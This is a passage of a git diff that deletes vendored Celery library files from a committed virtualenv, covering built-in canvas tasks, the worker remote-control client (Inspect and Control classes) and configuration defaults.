callback, interval=None, - max_retries=None, result=None, - Result=app.AsyncResult, GroupResult=app.GroupResult, - result_from_tuple=result_from_tuple, **kwargs): - if interval is None: - interval = self.default_retry_delay - - # check if the task group is ready, and if so apply the callback. - callback = maybe_signature(callback, app) - deps = GroupResult( - group_id, - [result_from_tuple(r, app=app) for r in result], - app=app, - ) - j = deps.join_native if deps.supports_native_join else deps.join - - try: - ready = deps.ready() - except Exception as exc: - raise self.retry( - exc=exc, countdown=interval, max_retries=max_retries, - ) - else: - if not ready: - raise self.retry(countdown=interval, max_retries=max_retries) - - callback = maybe_signature(callback, app=app) - try: - with allow_join_result(): - ret = j( - timeout=app.conf.result_chord_join_timeout, - propagate=True, - ) - except Exception as exc: # pylint: disable=broad-except - try: - culprit = next(deps._failed_join_report()) - reason = f'Dependency {culprit.id} raised {exc!r}' - except StopIteration: - reason = repr(exc) - logger.exception('Chord %r raised: %r', group_id, exc) - app.backend.chord_error_from_stack(callback, ChordError(reason)) - else: - try: - callback.delay(ret) - except Exception as exc: # pylint: disable=broad-except - logger.exception('Chord %r raised: %r', group_id, exc) - app.backend.chord_error_from_stack( - callback, - exc=ChordError(f'Callback error: {exc!r}'), - ) - return unlock_chord - - -@connect_on_app_finalize -def add_map_task(app): - from celery.canvas import signature - - @app.task(name='celery.map', shared=False, lazy=False) - def xmap(task, it): - task = signature(task, app=app).type - return [task(item) for item in it] - return xmap - - -@connect_on_app_finalize -def add_starmap_task(app): - from celery.canvas import signature - - @app.task(name='celery.starmap', shared=False, lazy=False) - def xstarmap(task, it): - task = signature(task, app=app).type - return [task(*item) for item in it] - return xstarmap - - -@connect_on_app_finalize -def add_chunk_task(app): - from celery.canvas import chunks as _chunks - - @app.task(name='celery.chunks', shared=False, lazy=False) - def chunks(task, it, n): - return _chunks.apply_chunks(task, it, n) - return chunks - - -@connect_on_app_finalize -def add_group_task(app): - """No longer used, but here for backwards compatibility.""" - from celery.canvas import maybe_signature - from celery.result import result_from_tuple - - @app.task(name='celery.group', bind=True, shared=False, lazy=False) - def group(self, tasks, result, group_id, partial_args, add_to_parent=True): - app = self.app - result = result_from_tuple(result, app) - # any partial args are added to all tasks in the group - taskit = (maybe_signature(task, app=app).clone(partial_args) - for i, task in enumerate(tasks)) - with app.producer_or_acquire() as producer: - [stask.apply_async(group_id=group_id, producer=producer, - add_to_parent=False) for stask in taskit] - parent = app.current_worker_task - if add_to_parent and parent: - parent.add_trail(result) - return result - return group - - -@connect_on_app_finalize -def add_chain_task(app): - """No longer used, but here for backwards compatibility.""" - @app.task(name='celery.chain', shared=False, lazy=False) - def chain(*args, **kwargs): - raise NotImplementedError('chain is not a real task') - return chain - - -@connect_on_app_finalize -def add_chord_task(app): - """No longer used, but here for backwards compatibility.""" - from celery import chord as _chord - from celery import group - from celery.canvas import maybe_signature - - @app.task(name='celery.chord', bind=True, ignore_result=False, - shared=False, lazy=False) - def chord(self, header, body, partial_args=(), interval=None, - countdown=1, max_retries=None, eager=False, **kwargs): - app = self.app - # - convert back to group if serialized - tasks = header.tasks if isinstance(header, group) else header - header = group([ - maybe_signature(s, app=app) for s in tasks - ], app=self.app) - body = maybe_signature(body, app=app) - ch = _chord(header, body) - return ch.run(header, body, partial_args, app, interval, - countdown, max_retries, **kwargs) - return chord diff --git a/backend/venv/Lib/site-packages/celery/app/control.py b/backend/venv/Lib/site-packages/celery/app/control.py deleted file mode 100644 index 603d930a..00000000 --- a/backend/venv/Lib/site-packages/celery/app/control.py +++ /dev/null @@ -1,780 +0,0 @@ -"""Worker Remote Control Client. - -Client for worker remote control commands. -Server implementation is in :mod:`celery.worker.control`. -There are two types of remote control commands: - -* Inspect commands: Does not have side effects, will usually just return some value - found in the worker, like the list of currently registered tasks, the list of active tasks, etc. - Commands are accessible via :class:`Inspect` class. - -* Control commands: Performs side effects, like adding a new queue to consume from. - Commands are accessible via :class:`Control` class. -""" -import warnings - -from billiard.common import TERM_SIGNAME -from kombu.matcher import match -from kombu.pidbox import Mailbox -from kombu.utils.compat import register_after_fork -from kombu.utils.functional import lazy -from kombu.utils.objects import cached_property - -from celery.exceptions import DuplicateNodenameWarning -from celery.utils.log import get_logger -from celery.utils.text import pluralize - -__all__ = ('Inspect', 'Control', 'flatten_reply') - -logger = get_logger(__name__) - -W_DUPNODE = """\ -Received multiple replies from node {0}: {1}. -Please make sure you give each node a unique nodename using -the celery worker `-n` option.\ -""" - - -def flatten_reply(reply): - """Flatten node replies. - - Convert from a list of replies in this format:: - - [{'a@example.com': reply}, - {'b@example.com': reply}] - - into this format:: - - {'a@example.com': reply, - 'b@example.com': reply} - """ - nodes, dupes = {}, set() - for item in reply: - [dupes.add(name) for name in item if name in nodes] - nodes.update(item) - if dupes: - warnings.warn(DuplicateNodenameWarning( - W_DUPNODE.format( - pluralize(len(dupes), 'name'), ', '.join(sorted(dupes)), - ), - )) - return nodes - - -def _after_fork_cleanup_control(control): - try: - control._after_fork() - except Exception as exc: # pylint: disable=broad-except - logger.info('after fork raised exception: %r', exc, exc_info=1) - - -class Inspect: - """API for inspecting workers. - - This class provides proxy for accessing Inspect API of workers. The API is - defined in :py:mod:`celery.worker.control` - """ - - app = None - - def __init__(self, destination=None, timeout=1.0, callback=None, - connection=None, app=None, limit=None, pattern=None, - matcher=None): - self.app = app or self.app - self.destination = destination - self.timeout = timeout - self.callback = callback - self.connection = connection - self.limit = limit - self.pattern = pattern - self.matcher = matcher - - def _prepare(self, reply): - if reply: - by_node = flatten_reply(reply) - if (self.destination and - not isinstance(self.destination, (list, tuple))): - return by_node.get(self.destination) - if self.pattern: - pattern = self.pattern - matcher = self.matcher - return {node: reply for node, reply in by_node.items() - if match(node, pattern, matcher)} - return by_node - - def _request(self, command, **kwargs): - return self._prepare(self.app.control.broadcast( - command, - arguments=kwargs, - destination=self.destination, - callback=self.callback, - connection=self.connection, - limit=self.limit, - timeout=self.timeout, reply=True, - pattern=self.pattern, matcher=self.matcher, - )) - - def report(self): - """Return human readable report for each worker. - - Returns: - Dict: Dictionary ``{HOSTNAME: {'ok': REPORT_STRING}}``. - """ - return self._request('report') - - def clock(self): - """Get the Clock value on workers. - - >>> app.control.inspect().clock() - {'celery@node1': {'clock': 12}} - - Returns: - Dict: Dictionary ``{HOSTNAME: CLOCK_VALUE}``. - """ - return self._request('clock') - - def active(self, safe=None): - """Return list of tasks currently executed by workers. - - Arguments: - safe (Boolean): Set to True to disable deserialization. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. - - See Also: - For ``TASK_INFO`` details see :func:`query_task` return value. - - """ - return self._request('active', safe=safe) - - def scheduled(self, safe=None): - """Return list of scheduled tasks with details. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_SCHEDULED_INFO,...]}``. - - Here is the list of ``TASK_SCHEDULED_INFO`` fields: - - * ``eta`` - scheduled time for task execution as string in ISO 8601 format - * ``priority`` - priority of the task - * ``request`` - field containing ``TASK_INFO`` value. - - See Also: - For more details about ``TASK_INFO`` see :func:`query_task` return value. - """ - return self._request('scheduled') - - def reserved(self, safe=None): - """Return list of currently reserved tasks, not including scheduled/active. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_INFO,...]}``. - - See Also: - For ``TASK_INFO`` details see :func:`query_task` return value. - """ - return self._request('reserved') - - def stats(self): - """Return statistics of worker. - - Returns: - Dict: Dictionary ``{HOSTNAME: STAT_INFO}``. - - Here is the list of ``STAT_INFO`` fields: - - * ``broker`` - Section for broker information. - * ``connect_timeout`` - Timeout in seconds (int/float) for establishing a new connection. - * ``heartbeat`` - Current heartbeat value (set by client). - * ``hostname`` - Node name of the remote broker. - * ``insist`` - No longer used. - * ``login_method`` - Login method used to connect to the broker. - * ``port`` - Port of the remote broker. - * ``ssl`` - SSL enabled/disabled. - * ``transport`` - Name of transport used (e.g., amqp or redis) - * ``transport_options`` - Options passed to transport. - * ``uri_prefix`` - Some transports expects the host name to be a URL. - E.g. ``redis+socket:///tmp/redis.sock``. - In this example the URI-prefix will be redis. - * ``userid`` - User id used to connect to the broker with. - * ``virtual_host`` - Virtual host used. - * ``clock`` - Value of the workers logical clock. This is a positive integer - and should be increasing every time you receive statistics. - * ``uptime`` - Numbers of seconds since the worker controller was started - * ``pid`` - Process id of the worker instance (Main process). - * ``pool`` - Pool-specific section. - * ``max-concurrency`` - Max number of processes/threads/green threads. - * ``max-tasks-per-child`` - Max number of tasks a thread may execute before being recycled. - * ``processes`` - List of PIDs (or thread-id’s). - * ``put-guarded-by-semaphore`` - Internal - * ``timeouts`` - Default values for time limits. - * ``writes`` - Specific to the prefork pool, this shows the distribution - of writes to each process in the pool when using async I/O. - * ``prefetch_count`` - Current prefetch count value for the task consumer. - * ``rusage`` - System usage statistics. The fields available may be different on your platform. - From :manpage:`getrusage(2)`: - - * ``stime`` - Time spent in operating system code on behalf of this process. - * ``utime`` - Time spent executing user instructions. - * ``maxrss`` - The maximum resident size used by this process (in kilobytes). - * ``idrss`` - Amount of non-shared memory used for data (in kilobytes times - ticks of execution) - * ``isrss`` - Amount of non-shared memory used for stack space - (in kilobytes times ticks of execution) - * ``ixrss`` - Amount of memory shared with other processes - (in kilobytes times ticks of execution). - * ``inblock`` - Number of times the file system had to read from the disk - on behalf of this process. - * ``oublock`` - Number of times the file system has to write to disk - on behalf of this process. - * ``majflt`` - Number of page faults that were serviced by doing I/O. - * ``minflt`` - Number of page faults that were serviced without doing I/O. - * ``msgrcv`` - Number of IPC messages received. - * ``msgsnd`` - Number of IPC messages sent. - * ``nvcsw`` - Number of times this process voluntarily invoked a context switch. - * ``nivcsw`` - Number of times an involuntary context switch took place. - * ``nsignals`` - Number of signals received. - * ``nswap`` - The number of times this process was swapped entirely - out of memory. - * ``total`` - Map of task names and the total number of tasks with that type - the worker has accepted since start-up. - """ - return self._request('stats') - - def revoked(self): - """Return list of revoked tasks. - - >>> app.control.inspect().revoked() - {'celery@node1': ['16f527de-1c72-47a6-b477-c472b92fef7a']} - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK_ID, ...]}``. - """ - return self._request('revoked') - - def registered(self, *taskinfoitems): - """Return all registered tasks per worker. - - >>> app.control.inspect().registered() - {'celery@node1': ['task1', 'task1']} - >>> app.control.inspect().registered('serializer', 'max_retries') - {'celery@node1': ['task_foo [serializer=json max_retries=3]', 'tasb_bar [serializer=json max_retries=3]']} - - Arguments: - taskinfoitems (Sequence[str]): List of :class:`~celery.app.task.Task` - attributes to include. - - Returns: - Dict: Dictionary ``{HOSTNAME: [TASK1_INFO, ...]}``. - """ - return self._request('registered', taskinfoitems=taskinfoitems) - registered_tasks = registered - - def ping(self, destination=None): - """Ping all (or specific) workers. - - >>> app.control.inspect().ping() - {'celery@node1': {'ok': 'pong'}, 'celery@node2': {'ok': 'pong'}} - >>> app.control.inspect().ping(destination=['celery@node1']) - {'celery@node1': {'ok': 'pong'}} - - Arguments: - destination (List): If set, a list of the hosts to send the - command to, when empty broadcast to all workers. - - Returns: - Dict: Dictionary ``{HOSTNAME: {'ok': 'pong'}}``. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - if destination: - self.destination = destination - return self._request('ping') - - def active_queues(self): - """Return information about queues from which worker consumes tasks. - - Returns: - Dict: Dictionary ``{HOSTNAME: [QUEUE_INFO, QUEUE_INFO,...]}``. - - Here is the list of ``QUEUE_INFO`` fields: - - * ``name`` - * ``exchange`` - * ``name`` - * ``type`` - * ``arguments`` - * ``durable`` - * ``passive`` - * ``auto_delete`` - * ``delivery_mode`` - * ``no_declare`` - * ``routing_key`` - * ``queue_arguments`` - * ``binding_arguments`` - * ``consumer_arguments`` - * ``durable`` - * ``exclusive`` - * ``auto_delete`` - * ``no_ack`` - * ``alias`` - * ``bindings`` - * ``no_declare`` - * ``expires`` - * ``message_ttl`` - * ``max_length`` - * ``max_length_bytes`` - * ``max_priority`` - - See Also: - See the RabbitMQ/AMQP documentation for more details about - ``queue_info`` fields. - Note: - The ``queue_info`` fields are RabbitMQ/AMQP oriented. - Not all fields applies for other transports. - """ - return self._request('active_queues') - - def query_task(self, *ids): - """Return detail of tasks currently executed by workers. - - Arguments: - *ids (str): IDs of tasks to be queried. - - Returns: - Dict: Dictionary ``{HOSTNAME: {TASK_ID: [STATE, TASK_INFO]}}``. - - Here is the list of ``TASK_INFO`` fields: - * ``id`` - ID of the task - * ``name`` - Name of the task - * ``args`` - Positinal arguments passed to the task - * ``kwargs`` - Keyword arguments passed to the task - * ``type`` - Type of the task - * ``hostname`` - Hostname of the worker processing the task - * ``time_start`` - Time of processing start - * ``acknowledged`` - True when task was acknowledged to broker - * ``delivery_info`` - Dictionary containing delivery information - * ``exchange`` - Name of exchange where task was published - * ``routing_key`` - Routing key used when task was published - * ``priority`` - Priority used when task was published - * ``redelivered`` - True if the task was redelivered - * ``worker_pid`` - PID of worker processing the task - - """ - # signature used be unary: query_task(ids=[id1, id2]) - # we need this to preserve backward compatibility. - if len(ids) == 1 and isinstance(ids[0], (list, tuple)): - ids = ids[0] - return self._request('query_task', ids=ids) - - def conf(self, with_defaults=False): - """Return configuration of each worker. - - Arguments: - with_defaults (bool): if set to True, method returns also - configuration options with default values. - - Returns: - Dict: Dictionary ``{HOSTNAME: WORKER_CONFIGURATION}``. - - See Also: - ``WORKER_CONFIGURATION`` is a dictionary containing current configuration options. - See :ref:`configuration` for possible values. - """ - return self._request('conf', with_defaults=with_defaults) - - def hello(self, from_node, revoked=None): - return self._request('hello', from_node=from_node, revoked=revoked) - - def memsample(self): - """Return sample current RSS memory usage. - - Note: - Requires the psutils library. - """ - return self._request('memsample') - - def memdump(self, samples=10): - """Dump statistics of previous memsample requests. - - Note: - Requires the psutils library. - """ - return self._request('memdump', samples=samples) - - def objgraph(self, type='Request', n=200, max_depth=10): - """Create graph of uncollected objects (memory-leak debugging). - - Arguments: - n (int): Max number of objects to graph. - max_depth (int): Traverse at most n levels deep. - type (str): Name of object to graph. Default is ``"Request"``. - - Returns: - Dict: Dictionary ``{'filename': FILENAME}`` - - Note: - Requires the objgraph library. - """ - return self._request('objgraph', num=n, max_depth=max_depth, type=type) - - -class Control: - """Worker remote control client.""" - - Mailbox = Mailbox - - def __init__(self, app=None): - self.app = app - self.mailbox = self.Mailbox( - app.conf.control_exchange, - type='fanout', - accept=app.conf.accept_content, - serializer=app.conf.task_serializer, - producer_pool=lazy(lambda: self.app.amqp.producer_pool), - queue_ttl=app.conf.control_queue_ttl, - reply_queue_ttl=app.conf.control_queue_ttl, - queue_expires=app.conf.control_queue_expires, - reply_queue_expires=app.conf.control_queue_expires, - ) - register_after_fork(self, _after_fork_cleanup_control) - - def _after_fork(self): - del self.mailbox.producer_pool - - @cached_property - def inspect(self): - """Create new :class:`Inspect` instance.""" - return self.app.subclass_with_self(Inspect, reverse='control.inspect') - - def purge(self, connection=None): - """Discard all waiting tasks. - - This will ignore all tasks waiting for execution, and they will - be deleted from the messaging server. - - Arguments: - connection (kombu.Connection): Optional specific connection - instance to use. If not provided a connection will - be acquired from the connection pool. - - Returns: - int: the number of tasks discarded. - """ - with self.app.connection_or_acquire(connection) as conn: - return self.app.amqp.TaskConsumer(conn).purge() - discard_all = purge - - def election(self, id, topic, action=None, connection=None): - self.broadcast( - 'election', connection=connection, destination=None, - arguments={ - 'id': id, 'topic': topic, 'action': action, - }, - ) - - def revoke(self, task_id, destination=None, terminate=False, - signal=TERM_SIGNAME, **kwargs): - """Tell all (or specific) workers to revoke a task by id (or list of ids). - - If a task is revoked, the workers will ignore the task and - not execute it after all. - - Arguments: - task_id (Union(str, list)): Id of the task to revoke - (or list of ids). - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast('revoke', destination=destination, arguments={ - 'task_id': task_id, - 'terminate': terminate, - 'signal': signal, - }, **kwargs) - - def revoke_by_stamped_headers(self, headers, destination=None, terminate=False, - signal=TERM_SIGNAME, **kwargs): - """ - Tell all (or specific) workers to revoke a task by headers. - - If a task is revoked, the workers will ignore the task and - not execute it after all. - - Arguments: - headers (dict[str, Union(str, list)]): Headers to match when revoking tasks. - terminate (bool): Also terminate the process currently working - on the task (if any). - signal (str): Name of signal to send to process if terminate. - Default is TERM. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - result = self.broadcast('revoke_by_stamped_headers', destination=destination, arguments={ - 'headers': headers, - 'terminate': terminate, - 'signal': signal, - }, **kwargs) - - task_ids = set() - if result: - for host in result: - for response in host.values(): - if isinstance(response['ok'], set): - task_ids.update(response['ok']) - - if task_ids: - return self.revoke(list(task_ids), destination=destination, terminate=terminate, signal=signal, **kwargs) - else: - return result - - def terminate(self, task_id, - destination=None, signal=TERM_SIGNAME, **kwargs): - """Tell all (or specific) workers to terminate a task by id (or list of ids). - - See Also: - This is just a shortcut to :meth:`revoke` with the terminate - argument enabled. - """ - return self.revoke( - task_id, - destination=destination, terminate=True, signal=signal, **kwargs) - - def ping(self, destination=None, timeout=1.0, **kwargs): - """Ping all (or specific) workers. - - >>> app.control.ping() - [{'celery@node1': {'ok': 'pong'}}, {'celery@node2': {'ok': 'pong'}}] - >>> app.control.ping(destination=['celery@node2']) - [{'celery@node2': {'ok': 'pong'}}] - - Returns: - List[Dict]: List of ``{HOSTNAME: {'ok': 'pong'}}`` dictionaries. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast( - 'ping', reply=True, arguments={}, destination=destination, - timeout=timeout, **kwargs) - - def rate_limit(self, task_name, rate_limit, destination=None, **kwargs): - """Tell workers to set a new rate limit for task by type. - - Arguments: - task_name (str): Name of task to change rate limit for. - rate_limit (int, str): The rate limit as tasks per second, - or a rate limit string (`'100/m'`, etc. - see :attr:`celery.app.task.Task.rate_limit` for - more information). - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast( - 'rate_limit', - destination=destination, - arguments={ - 'task_name': task_name, - 'rate_limit': rate_limit, - }, - **kwargs) - - def add_consumer(self, queue, - exchange=None, exchange_type='direct', routing_key=None, - options=None, destination=None, **kwargs): - """Tell all (or specific) workers to start consuming from a new queue. - - Only the queue name is required as if only the queue is specified - then the exchange/routing key will be set to the same name ( - like automatic queues do). - - Note: - This command does not respect the default queue/exchange - options in the configuration. - - Arguments: - queue (str): Name of queue to start consuming from. - exchange (str): Optional name of exchange. - exchange_type (str): Type of exchange (defaults to 'direct') - command to, when empty broadcast to all workers. - routing_key (str): Optional routing key. - options (Dict): Additional options as supported - by :meth:`kombu.entity.Queue.from_dict`. - - See Also: - :meth:`broadcast` for supported keyword arguments. - """ - return self.broadcast( - 'add_consumer', - destination=destination, - arguments=dict({ - 'queue': queue, - 'exchange': exchange, - 'exchange_type': exchange_type, - 'routing_key': routing_key, - }, **options or {}), - **kwargs - ) - - def cancel_consumer(self, queue, destination=None, **kwargs): - """Tell all (or specific) workers to stop consuming from ``queue``. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'cancel_consumer', destination=destination, - arguments={'queue': queue}, **kwargs) - - def time_limit(self, task_name, soft=None, hard=None, - destination=None, **kwargs): - """Tell workers to set time limits for a task by type. - - Arguments: - task_name (str): Name of task to change time limits for. - soft (float): New soft time limit (in seconds). - hard (float): New hard time limit (in seconds). - **kwargs (Any): arguments passed on to :meth:`broadcast`. - """ - return self.broadcast( - 'time_limit', - arguments={ - 'task_name': task_name, - 'hard': hard, - 'soft': soft, - }, - destination=destination, - **kwargs) - - def enable_events(self, destination=None, **kwargs): - """Tell all (or specific) workers to enable events. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'enable_events', arguments={}, destination=destination, **kwargs) - - def disable_events(self, destination=None, **kwargs): - """Tell all (or specific) workers to disable events. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'disable_events', arguments={}, destination=destination, **kwargs) - - def pool_grow(self, n=1, destination=None, **kwargs): - """Tell all (or specific) workers to grow the pool by ``n``. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'pool_grow', arguments={'n': n}, destination=destination, **kwargs) - - def pool_shrink(self, n=1, destination=None, **kwargs): - """Tell all (or specific) workers to shrink the pool by ``n``. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'pool_shrink', arguments={'n': n}, - destination=destination, **kwargs) - - def autoscale(self, max, min, destination=None, **kwargs): - """Change worker(s) autoscale setting. - - See Also: - Supports the same arguments as :meth:`broadcast`. - """ - return self.broadcast( - 'autoscale', arguments={'max': max, 'min': min}, - destination=destination, **kwargs) - - def shutdown(self, destination=None, **kwargs): - """Shutdown worker(s). - - See Also: - Supports the same arguments as :meth:`broadcast` - """ - return self.broadcast( - 'shutdown', arguments={}, destination=destination, **kwargs) - - def pool_restart(self, modules=None, reload=False, reloader=None, - destination=None, **kwargs): - """Restart the execution pools of all or specific workers. - - Keyword Arguments: - modules (Sequence[str]): List of modules to reload. - reload (bool): Flag to enable module reloading. Default is False. - reloader (Any): Function to reload a module. - destination (Sequence[str]): List of worker names to send this - command to. - - See Also: - Supports the same arguments as :meth:`broadcast` - """ - return self.broadcast( - 'pool_restart', - arguments={ - 'modules': modules, - 'reload': reload, - 'reloader': reloader, - }, - destination=destination, **kwargs) - - def heartbeat(self, destination=None, **kwargs): - """Tell worker(s) to send a heartbeat immediately. - - See Also: - Supports the same arguments as :meth:`broadcast` - """ - return self.broadcast( - 'heartbeat', arguments={}, destination=destination, **kwargs) - - def broadcast(self, command, arguments=None, destination=None, - connection=None, reply=False, timeout=1.0, limit=None, - callback=None, channel=None, pattern=None, matcher=None, - **extra_kwargs): - """Broadcast a control command to the celery workers. - - Arguments: - command (str): Name of command to send. - arguments (Dict): Keyword arguments for the command. - destination (List): If set, a list of the hosts to send the - command to, when empty broadcast to all workers. - connection (kombu.Connection): Custom broker connection to use, - if not set, a connection will be acquired from the pool. - reply (bool): Wait for and return the reply. - timeout (float): Timeout in seconds to wait for the reply. - limit (int): Limit number of replies. - callback (Callable): Callback called immediately for - each reply received. - pattern (str): Custom pattern string to match - matcher (Callable): Custom matcher to run the pattern to match - """ - with self.app.connection_or_acquire(connection) as conn: - arguments = dict(arguments or {}, **extra_kwargs) - if pattern and matcher: - # tests pass easier without requiring pattern/matcher to - # always be sent in - return self.mailbox(conn)._broadcast( - command, arguments, destination, reply, timeout, - limit, callback, channel=channel, - pattern=pattern, matcher=matcher, - ) - else: - return self.mailbox(conn)._broadcast( - command, arguments, destination, reply, timeout, - limit, callback, channel=channel, - ) diff --git a/backend/venv/Lib/site-packages/celery/app/defaults.py b/backend/venv/Lib/site-packages/celery/app/defaults.py deleted file mode 100644 index f8e2511f..00000000 --- a/backend/venv/Lib/site-packages/celery/app/defaults.py +++ /dev/null @@ -1,427 +0,0 @@ -"""Configuration introspection and defaults.""" -from collections import deque, namedtuple -from datetime import timedelta - -from celery.utils.functional import memoize -from celery.utils.serialization import strtobool - -__all__ = ('Option', 'NAMESPACES', 'flatten', 'find') - - -DEFAULT_POOL = 'prefork' - -DEFAULT_ACCEPT_CONTENT = ('json',) -DEFAULT_PROCESS_LOG_FMT = """ - [%(asctime)s: %(levelname)s/%(processName)s] %(message)s -""".strip() -DEFAULT_TASK_LOG_FMT = """[%(asctime)s: %(levelname)s/%(processName)s] \ -%(task_name)s[%(task_id)s]: %(message)s""" - -DEFAULT_SECURITY_DIGEST = 'sha256' - - -OLD_NS = {'celery_{0}'} -OLD_NS_BEAT = {'celerybeat_{0}'} -OLD_NS_WORKER = {'celeryd_{0}'} - -searchresult = namedtuple('searchresult', ('namespace', 'key', 'type')) - - -def Namespace(__old__=None, **options): - if __old__ is not None: - for key, opt in options.items(): - if not opt.old: - opt.old = {o.format(key) for o in __old__} - return options - - -def old_ns(ns): - return {f'{ns}_{{0}}'} - - -class Option: - """Describes a Celery configuration option.""" - - alt = None - deprecate_by = None - remove_by = None - old = set() - typemap = {'string': str, 'int': int, 'float': float, 'any': lambda v: v, - 'bool': strtobool, 'dict': dict, 'tuple': tuple} - - def __init__(self, default=None, *args, **kwargs): - self.default = default - self.type = kwargs.get('type') or 'string' - for attr, value in kwargs.items(): - setattr(self, attr, value) - - def to_python(self, value): - return self.typemap[self.type](value) - - def __repr__(self): - return '{} default->{!r}>'.format(self.type, - self.default) - - -NAMESPACES = Namespace( - accept_content=Option(DEFAULT_ACCEPT_CONTENT, type='list', old=OLD_NS), - result_accept_content=Option(None, type='list'), - enable_utc=Option(True, type='bool'), - imports=Option((), type='tuple', old=OLD_NS), - include=Option((), type='tuple', old=OLD_NS), - timezone=Option(type='string', old=OLD_NS), - beat=Namespace( - __old__=OLD_NS_BEAT, - - max_loop_interval=Option(0, type='float'), - schedule=Option({}, type='dict'), - scheduler=Option('celery.beat:PersistentScheduler'), - schedule_filename=Option('celerybeat-schedule'), - sync_every=Option(0, type='int'), - cron_starting_deadline=Option(None, type=int) - ), - broker=Namespace( - url=Option(None, type='string'), - read_url=Option(None, type='string'), - write_url=Option(None, type='string'), - transport=Option(type='string'), - transport_options=Option({}, type='dict'), - connection_timeout=Option(4, type='float'), - connection_retry=Option(True, type='bool'), - connection_retry_on_startup=Option(None, type='bool'), - connection_max_retries=Option(100, type='int'), - channel_error_retry=Option(False, type='bool'), - failover_strategy=Option(None, type='string'), - heartbeat=Option(120, type='int'), - heartbeat_checkrate=Option(3.0, type='int'), - login_method=Option(None, type='string'), - native_delayed_delivery_queue_type=Option(default='quorum', type='string'), - pool_limit=Option(10, type='int'), - use_ssl=Option(False, type='bool'), - - host=Option(type='string'), - port=Option(type='int'), - user=Option(type='string'), - password=Option(type='string'), - vhost=Option(type='string'), - ), - cache=Namespace( - __old__=old_ns('celery_cache'), - - backend=Option(), - backend_options=Option({}, type='dict'), - ), - cassandra=Namespace( - entry_ttl=Option(type='float'), - keyspace=Option(type='string'), - port=Option(type='string'), - read_consistency=Option(type='string'), - servers=Option(type='list'), - bundle_path=Option(type='string'), - table=Option(type='string'), - write_consistency=Option(type='string'), - auth_provider=Option(type='string'), - auth_kwargs=Option(type='string'), - options=Option({}, type='dict'), - ), - s3=Namespace( - access_key_id=Option(type='string'), - secret_access_key=Option(type='string'), - bucket=Option(type='string'), - base_path=Option(type='string'), - endpoint_url=Option(type='string'), - region=Option(type='string'), - ), - azureblockblob=Namespace( - container_name=Option('celery', type='string'), - retry_initial_backoff_sec=Option(2, type='int'), - retry_increment_base=Option(2, type='int'), - retry_max_attempts=Option(3, type='int'), - base_path=Option('', type='string'), - connection_timeout=Option(20, type='int'), - read_timeout=Option(120, type='int'), - ), - gcs=Namespace( - bucket=Option(type='string'), - project=Option(type='string'), - base_path=Option('', type='string'), - ttl=Option(0, type='float'), - ), - control=Namespace( - queue_ttl=Option(300.0, type='float'), - queue_expires=Option(10.0, type='float'), - exchange=Option('celery', type='string'), - ), - couchbase=Namespace( - __old__=old_ns('celery_couchbase'), - - backend_settings=Option(None, type='dict'), - ), - arangodb=Namespace( - __old__=old_ns('celery_arangodb'), - backend_settings=Option(None, type='dict') - ), - mongodb=Namespace( - __old__=old_ns('celery_mongodb'), - - backend_settings=Option(type='dict'), - ), - cosmosdbsql=Namespace( - database_name=Option('celerydb', type='string'), - collection_name=Option('celerycol', type='string'), - consistency_level=Option('Session', type='string'), - max_retry_attempts=Option(9, type='int'), - max_retry_wait_time=Option(30, type='int'), - ), - event=Namespace( - __old__=old_ns('celery_event'), - - queue_expires=Option(60.0, type='float'), - queue_ttl=Option(5.0, type='float'), - queue_prefix=Option('celeryev'), - serializer=Option('json'), - exchange=Option('celeryev', type='string'), - ), - redis=Namespace( - __old__=old_ns('celery_redis'), - - backend_use_ssl=Option(type='dict'), - db=Option(type='int'), - host=Option(type='string'), - max_connections=Option(type='int'), - username=Option(type='string'), - password=Option(type='string'), - port=Option(type='int'), - socket_timeout=Option(120.0, type='float'), - socket_connect_timeout=Option(None, type='float'), - retry_on_timeout=Option(False, type='bool'), - socket_keepalive=Option(False, type='bool'), - ), - result=Namespace( - __old__=old_ns('celery_result'), - - backend=Option(type='string'), - cache_max=Option( - -1, - type='int', old={'celery_max_cached_results'}, - ), - compression=Option(type='str'), - exchange=Option('celeryresults'), - exchange_type=Option('direct'), - expires=Option( - timedelta(days=1), - type='float', old={'celery_task_result_expires'}, - ), - persistent=Option(None, type='bool'), - extended=Option(False, type='bool'), - serializer=Option('json'), - backend_transport_options=Option({}, type='dict'), - chord_retry_interval=Option(1.0, type='float'), - chord_join_timeout=Option(3.0, type='float'), - backend_max_sleep_between_retries_ms=Option(10000, type='int'), - backend_max_retries=Option(float("inf"), type='float'), - backend_base_sleep_between_retries_ms=Option(10, type='int'), - backend_always_retry=Option(False, type='bool'), - ), - elasticsearch=Namespace( - __old__=old_ns('celery_elasticsearch'), - - retry_on_timeout=Option(type='bool'), - max_retries=Option(type='int'), - timeout=Option(type='float'), - save_meta_as_text=Option(True, type='bool'), - ), - security=Namespace( - __old__=old_ns('celery_security'), - - certificate=Option(type='string'), - cert_store=Option(type='string'), - key=Option(type='string'), - key_password=Option(type='bytes'), - digest=Option(DEFAULT_SECURITY_DIGEST, type='string'), - ), - database=Namespace( - url=Option(old={'celery_result_dburi'}), - engine_options=Option( - type='dict', old={'celery_result_engine_options'}, - ), - short_lived_sessions=Option( - False, type='bool', old={'celery_result_db_short_lived_sessions'}, - ), - table_schemas=Option(type='dict'), - table_names=Option(type='dict', old={'celery_result_db_tablenames'}), - create_tables_at_setup=Option(True, type='bool'), - ), - task=Namespace( - __old__=OLD_NS, - acks_late=Option(False, type='bool'), - acks_on_failure_or_timeout=Option(True, type='bool'), - always_eager=Option(False, 